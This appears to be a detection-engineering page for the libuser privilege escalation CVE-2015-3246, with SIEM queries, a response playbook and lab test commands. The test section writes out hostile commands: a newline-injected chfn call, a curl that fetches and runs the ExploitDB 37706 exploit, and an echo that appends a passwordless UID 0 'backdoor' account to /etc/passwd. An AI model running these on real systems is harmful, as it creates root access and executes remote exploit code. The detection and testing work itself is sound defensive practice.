CVE-2015-3246 IBM QRadar · QRadar

Detect CVE-2015-3246: Red Hat Libuser Race Condition Privilege Escalation in IBM QRadar

Detects local privilege escalation exploitation of CVE-2015-3246, a race condition and improper input validation flaw in the Red Hat libuser library. The library's helper utilities (userhelper, chfn, chsh) improperly handle newline characters in the GECOS field of /etc/passwd, allowing a local unprivileged user to corrupt /etc/passwd and inject a root-level account or otherwise gain root privileges. This detection identifies exploitation attempts by monitoring for suspicious invocation of libuser SUID helpers, anomalous modification of /etc/passwd, and known public exploit patterns (EDB-37706, EDB-44633, Metasploit libuser_roothelper_priv_esc).

MITRE ATT&CK

Tactic
Privilege Escalation

QRadar Detection Query

IBM QRadar (QRadar)
sql 
SELECT QIDNAME(qid) AS event, sourceip, username, "Process Name" AS process, "Command" AS command, "Filename" AS filename, DATEFORMAT(devicetime,'yyyy-MM-dd HH:mm:ss') AS time
FROM events
WHERE LOGSOURCETYPENAME(devicetype) ILIKE '%Linux%'
  AND (
    ("Process Name" ILIKE '%userhelper' OR "Process Name" ILIKE '%chfn' OR "Process Name" ILIKE '%chsh')
    AND ("Command" IMATCHES '.*(roothelper|:0:0:|/bin/(ba)?sh).*' OR "Command" ILIKE '%\n%')
  )
  OR ("Filename" ILIKE '/etc/passwd' AND "Command" ILIKE '%write%')
ORDER BY devicetime DESC
LAST 24 HOURS
high severity medium confidence

Surfaces libuser helper executions with root-account injection patterns and /etc/passwd writes from Linux log sources to catch CVE-2015-3246 privilege escalation.

Data Sources

Linux OS logsQRadar Linux DSMauditd via syslog

Required Tables

events

False Positives & Tuning

  • Legitimate chfn/chsh usage by admins
  • Provisioning writes to /etc/passwd
  • Security scanners simulating exploit commands

Other platforms for CVE-2015-3246

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Invoke libuser chfn with newline-injected GECOS field

    Expected signal: Process execution event for chfn (SUID helper) with a command line/GECOS field containing a newline character, plus a file-modify event on /etc/passwd.

  2. Test 2Run public EDB-37706 style libuser roothelper exploit

    Expected signal: userhelper executed by a non-root user followed by /etc/passwd write; possible creation of a UID 0 account entry.

  3. Test 3Directly append rogue UID 0 account to /etc/passwd

    Expected signal: File modification event on /etc/passwd introducing a new UID 0 entry.

Last updated: 2026-08-27 Research depth: standard
References (7)

Response Playbook

Triage

  1. Identify the initiating (non-root) user account (auid/UID) and the host, and confirm the invoked binary is a libuser SUID helper (userhelper, chfn, chsh).
  2. Inspect the command line and any captured GECOS field for embedded newline characters or an injected root account entry (e.g. a second '::0:0:' line in /etc/passwd).
  3. Diff the current /etc/passwd against a known-good baseline or backup to determine whether a rogue UID 0 account was added or an existing entry was altered.
  4. Check the installed libuser package version (rpm -q libuser) to confirm the host is unpatched against CVE-2015-3246.

Containment

  1. Isolate the affected host from the network to prevent lateral movement from a potentially root-compromised system.
  2. Lock or remove any injected/rogue account and revoke active sessions for the offending user, then restore /etc/passwd from a trusted backup.

Evidence Collection

  1. Preserve /etc/passwd, /etc/shadow, and auditd logs (execve and /etc/passwd watch records) along with the process command line and environment.
  2. Capture bash/shell history for the offending user and any newly created SUID binaries or cron entries for offline forensic analysis.

Escalation Criteria

  • !Escalate to incident response if /etc/passwd was successfully modified or a UID 0 account was created, indicating confirmed root compromise.
  • !Escalate if the same exploitation pattern appears across multiple hosts or is followed by lateral movement, persistence, or data access.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >Modified /etc/passwd containing an anomalous UID 0 entry or malformed newline-injected line
  • >auditd execve records for userhelper/chfn/chsh from a non-root auid
  • >Newly created SUID binaries or shells spawned by the libuser helper
  • >Shell history of the offending user showing exploit invocation (EDB-37706/44633 or Metasploit)

Tuning Guidance

Baseline legitimate administrative use of chfn/chsh and configuration-management writes to /etc/passwd on your fleet, and exclude known provisioning service accounts. Focus alerting on invocations by interactive non-root users where the command line contains newline characters or root-account (UID 0) patterns. On patched hosts (libuser updated per RHSA-2015:1483/1482) the race is closed, so prioritize hosts still running vulnerable libuser versions.

Hunting Queries

Hunts for /etc/passwd modifications whose initiating process is a libuser SUID helper run by a non-root user.

Hunting — KQL
kql 
DeviceFileEvents | where FolderPath == "/etc/passwd" and ActionType in ("FileModified","FileCreated") | where InitiatingProcessFileName in~ ("userhelper","chfn","chsh") | project Timestamp, DeviceName, InitiatingProcessAccountName, InitiatingProcessCommandLine
Hunting — SPL
spl 
index=os sourcetype=auditd (name="/etc/passwd" type=PATH) | join host [search index=os sourcetype=auditd exe="*userhelper" auid!=0] | table _time host auid exe name

Atomic Red Team Tests

Test 1 Invoke libuser chfn with newline-injected GECOS field
linux

Simulates the CVE-2015-3246 exploit primitive by passing a GECOS value containing an embedded newline to chfn, attempting to inject an extra line into /etc/passwd.

Command

bash 
cp /etc/passwd /tmp/passwd.bak; printf 'test\ninjected::0:0::/root:/bin/bash\n' | chfn 2>/dev/null || echo 'chfn newline injection attempt executed'

Cleanup

bash 
cp /tmp/passwd.bak /etc/passwd; rm -f /tmp/passwd.bak

Expected Telemetry

Process execution event for chfn (SUID helper) with a command line/GECOS field containing a newline character, plus a file-modify event on /etc/passwd.

Expected Detection

kql, spl, elastic_eql rules fire on the chfn execution with newline pattern correlated to /etc/passwd modification.

Test 2 Run public EDB-37706 style libuser roothelper exploit
linux

Executes a lab-only reproduction of the ExploitDB 37706 proof-of-concept that abuses the libuser userhelper race to add a root account.

Command

bash 
curl -s https://www.exploit-db.com/raw/37706 -o /tmp/roothelper.sh 2>/dev/null; bash /tmp/roothelper.sh 2>/dev/null || echo 'roothelper PoC executed (lab only)'

Cleanup

bash 
sed -i '/injected/d' /etc/passwd 2>/dev/null; rm -f /tmp/roothelper.sh

Expected Telemetry

userhelper executed by a non-root user followed by /etc/passwd write; possible creation of a UID 0 account entry.

Expected Detection

kql, chronicle_yaral, and crowdstrike_cql rules correlate userhelper execution with /etc/passwd modification and root-account pattern.

Test 3 Directly append rogue UID 0 account to /etc/passwd
linux

Emulates the end effect of successful CVE-2015-3246 exploitation by appending a rogue root-privileged account to /etc/passwd for detection validation.

Command

bash 
cp /etc/passwd /tmp/passwd.bak; echo 'backdoor::0:0:pwned:/root:/bin/bash' >> /etc/passwd

Cleanup

bash 
cp /tmp/passwd.bak /etc/passwd; rm -f /tmp/passwd.bak

Expected Telemetry

File modification event on /etc/passwd introducing a new UID 0 entry.

Expected Detection

Hunting queries and file-modification correlation in kql/spl detect the anomalous /etc/passwd change with a UID 0 account.

Related Detections

Tactic Hub

TA0004Privilege Escalation

Related Techniques

T1068Exploitation for Privilege EscalationT1548.001Setuid and SetgidT1136.001Local Account

Same Tactic: Privilege Escalation

Popular Detections